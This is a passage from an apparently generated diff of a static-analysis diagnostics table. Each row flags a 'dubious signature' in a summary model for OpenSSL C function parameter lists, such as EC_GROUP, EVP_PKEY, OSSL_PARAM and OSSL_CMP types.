Dubious signature "(const DSA_SIG *,unsigned char **)" in summary model. | +| Dubious signature "(const ECDSA_SIG *)" in summary model. | +| Dubious signature "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const ECDSA_SIG *,unsigned char **)" in summary model. | +| Dubious signature "(const ECPARAMETERS *)" in summary model. | +| Dubious signature "(const ECPKPARAMETERS *,unsigned char **)" in summary model. | +| Dubious signature "(const ECX_KEY *,int)" in summary model. | +| Dubious signature "(const ECX_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_GROUP *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,ECPARAMETERS *)" in summary model. | +| Dubious signature "(const EC_GROUP *,ECPKPARAMETERS *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const char *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_GROUP *,unsigned int *)" in summary model. | +| Dubious signature "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)" in summary model. | +| Dubious signature "(const EC_KEY *)" in summary model. | +| Dubious signature "(const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)" in summary model. | +| Dubious signature "(const EC_KEY *,const EVP_MD *,size_t,size_t *)" in summary model. | +| Dubious signature "(const EC_KEY *,int)" in summary model. | +| Dubious signature "(const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_KEY *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *)" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..))" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EC_METHOD *)" in summary model. | +| Dubious signature "(const EC_POINT *)" in summary model. | +| Dubious signature "(const EC_POINT *,const EC_GROUP *)" in summary model. | +| Dubious signature "(const EC_PRIVATEKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EDIPARTYNAME *,unsigned char **)" in summary model. | +| Dubious signature "(const ENGINE *)" in summary model. | +| Dubious signature "(const ENGINE *,int)" in summary model. | +| Dubious signature "(const ERR_STRING_DATA *)" in summary model. | +| Dubious signature "(const ESS_CERT_ID *)" in summary model. | +| Dubious signature "(const ESS_CERT_ID *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_CERT_ID_V2 *)" in summary model. | +| Dubious signature "(const ESS_CERT_ID_V2 *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(const ESS_ISSUER_SERIAL *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT *)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT_V2 *)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT_V2 *,unsigned char **)" in summary model. | +| Dubious signature "(const EVP_ASYM_CIPHER *)" in summary model. | +| Dubious signature "(const EVP_ASYM_CIPHER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)" in summary model. | +| Dubious signature "(const EVP_CIPHER_CTX *)" in summary model. | +| Dubious signature "(const EVP_CIPHER_CTX *,int)" in summary model. | +| Dubious signature "(const EVP_KDF *)" in summary model. | +| Dubious signature "(const EVP_KDF *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_KDF_CTX *)" in summary model. | +| Dubious signature "(const EVP_KEM *)" in summary model. | +| Dubious signature "(const EVP_KEM *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_KEYEXCH *)" in summary model. | +| Dubious signature "(const EVP_KEYEXCH *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_KEYMGMT *)" in summary model. | +| Dubious signature "(const EVP_KEYMGMT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_MAC *)" in summary model. | +| Dubious signature "(const EVP_MAC *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_MAC_CTX *)" in summary model. | +| Dubious signature "(const EVP_MD *)" in summary model. | +| Dubious signature "(const EVP_MD *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_MD *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const EVP_MD *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(const EVP_MD *,const OSSL_ITEM *,size_t)" in summary model. | +| Dubious signature "(const EVP_MD *,const X509 *,const stack_st_X509 *,int)" in summary model. | +| Dubious signature "(const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const EVP_MD *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const EVP_MD_CTX *)" in summary model. | +| Dubious signature "(const EVP_MD_CTX *,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,OSSL_PARAM *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const EVP_PKEY *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *,const char *,BIGNUM **)" in summary model. | +| Dubious signature "(const EVP_PKEY *,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *,int,const char *,const char *,const char *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,int,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *,size_t *,SSL_CTX *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(const EVP_PKEY_METHOD *,..(**)(..))" in summary model. | +| Dubious signature "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EVP_RAND *)" in summary model. | +| Dubious signature "(const EVP_RAND *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_SIGNATURE *)" in summary model. | +| Dubious signature "(const EVP_SIGNATURE *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_SKEY *)" in summary model. | +| Dubious signature "(const EVP_SKEYMGMT *)" in summary model. | +| Dubious signature "(const EVP_SKEYMGMT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EXTENDED_KEY_USAGE *,unsigned char **)" in summary model. | +| Dubious signature "(const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const FFC_PARAMS *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const FFC_PARAMS *,unsigned char **,size_t *,int *)" in summary model. | +| Dubious signature "(const GENERAL_NAME *)" in summary model. | +| Dubious signature "(const GENERAL_NAME *,int *)" in summary model. | +| Dubious signature "(const GENERAL_NAME *,unsigned char **)" in summary model. | +| Dubious signature "(const GENERAL_NAMES *,unsigned char **)" in summary model. | +| Dubious signature "(const GOST_KX_MESSAGE *,unsigned char **)" in summary model. | +| Dubious signature "(const HMAC_CTX *)" in summary model. | +| Dubious signature "(const HT_CONFIG *)" in summary model. | +| Dubious signature "(const IPAddressChoice *,unsigned char **)" in summary model. | +| Dubious signature "(const IPAddressFamily *)" in summary model. | +| Dubious signature "(const IPAddressFamily *,unsigned char **)" in summary model. | +| Dubious signature "(const IPAddressOrRange *,unsigned char **)" in summary model. | +| Dubious signature "(const IPAddressRange *,unsigned char **)" in summary model. | +| Dubious signature "(const ISSUER_SIGN_TOOL *,unsigned char **)" in summary model. | +| Dubious signature "(const ISSUING_DIST_POINT *,unsigned char **)" in summary model. | +| Dubious signature "(const MATRIX *,const VECTOR *,VECTOR *)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,int)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,int,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const ML_KEM_KEY *,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(const ML_KEM_KEY *,int)" in summary model. | +| Dubious signature "(const ML_KEM_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(const NAMING_AUTHORITY *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_PKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_SPKAC *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_SPKI *,unsigned char **)" in summary model. | +| Dubious signature "(const NOTICEREF *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_BASICRESP *)" in summary model. | +| Dubious signature "(const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **)" in summary model. | +| Dubious signature "(const OCSP_BASICRESP *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_CERTID *)" in summary model. | +| Dubious signature "(const OCSP_CERTID *,const OCSP_CERTID *)" in summary model. | +| Dubious signature "(const OCSP_CERTID *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_CERTSTATUS *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_CRLID *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_ONEREQ *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_REQINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_REQUEST *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPBYTES *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPDATA *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPID *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPONSE *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_REVOKEDINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_SERVICELOC *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_SIGNATURE *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_SINGLERESP *)" in summary model. | +| Dubious signature "(const OCSP_SINGLERESP *,unsigned char **)" in summary model. | +| Dubious signature "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)" in summary model. | +| Dubious signature "(const OPENSSL_LHASH *)" in summary model. | +| Dubious signature "(const OPENSSL_SA *)" in summary model. | +| Dubious signature "(const OPENSSL_SA *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const OPENSSL_SA *,ossl_uintmax_t)" in summary model. | +| Dubious signature "(const OPENSSL_STACK *)" in summary model. | +| Dubious signature "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)" in summary model. | +| Dubious signature "(const OPENSSL_STACK *,int)" in summary model. | +| Dubious signature "(const OPTIONS *)" in summary model. | +| Dubious signature "(const OSSL_AA_DIST_POINT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ALGORITHM *)" in summary model. | +| Dubious signature "(const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *)" in summary model. | +| Dubious signature "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATAV *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ATAV *)" in summary model. | +| Dubious signature "(const OSSL_CMP_ATAVS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTREPMESSAGE *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTSTATUS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CHALLENGE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CRLSOURCE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CRLSTATUS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *,char *,size_t)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,X509 **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_X509 **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_X509_CRL **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(const OSSL_CMP_MSG *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKIBODY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKIHEADER *)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKIHEADER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *,char *,size_t)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_POLLREP *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_POLLREPCONTENT *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_POLLREQ *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_REVDETAILS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_SRV_CTX *)" in summary model. | +| Dubious signature "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTID *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTREQUEST *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTTEMPLATE *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_MSG *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_MSG *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_MSGS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PKIPUBLICATIONINFO *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_DAY_TIME *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_DAY_TIME_BAND *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_DECODER *)" in summary model. | +| Dubious signature "(const OSSL_DECODER_CTX *)" in summary model. | +| Dubious signature "(const OSSL_DECODER_INSTANCE *)" in summary model. | +| Dubious signature "(const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(const OSSL_DISPATCH *,void *)" in summary model. | +| Dubious signature "(const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(const OSSL_ENCODER *)" in summary model. | +| Dubious signature "(const OSSL_HASH *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const OSSL_HTTP_REQ_CTX *)" in summary model. | +| Dubious signature "(const OSSL_IETF_ATTR_SYNTAX *)" in summary model. | +| Dubious signature "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_INFO_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(const OSSL_NAMED_DAY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_NAMEMAP *,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(const OSSL_NAMEMAP *,int,size_t)" in summary model. | +| Dubious signature "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)" in summary model. | +| Dubious signature "(const OSSL_PARAM *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,BIGNUM **)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,BIO *,int)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,char **,size_t)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char **)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const void **,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,double *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,int32_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,int64_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,int *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,long *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,time_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,uint32_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,uint64_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,unsigned int *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,unsigned long *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,void **,size_t,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const OSSL_PARAM[],void *)" in summary model. | +| Dubious signature "(const OSSL_PQUEUE *)" in summary model. | +| Dubious signature "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_PROPERTY_DEFINITION *)" in summary model. | +| Dubious signature "(const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)" in summary model. | +| Dubious signature "(const OSSL_PROVIDER *)" in summary model. | +| Dubious signature "(const OSSL_PROVIDER *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const OSSL_PROVIDER *,const char *,int)" in summary model. | +| Dubious signature "(const OSSL_QRX_ARGS *)" in summary model. | +| Dubious signature "(const OSSL_QTX_ARGS *)" in summary model. | +| Dubious signature "(const OSSL_QUIC_TX_PACKETISER_ARGS *)" in summary model. | +| Dubious signature "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_STORE_INFO *)" in summary model. | +| Dubious signature "(const OSSL_STORE_LOADER *)" in summary model. | +| Dubious signature "(const OSSL_STORE_LOADER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const OSSL_STORE_SEARCH *)" in summary model. | +| Dubious signature "(const OSSL_STORE_SEARCH *,size_t *)" in summary model. | +| Dubious signature "(const OSSL_TARGET *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TARGETING_INFORMATION *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TARGETS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_PERIOD *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_DAY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_TIME *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)" in summary model. | +| Dubious signature "(const 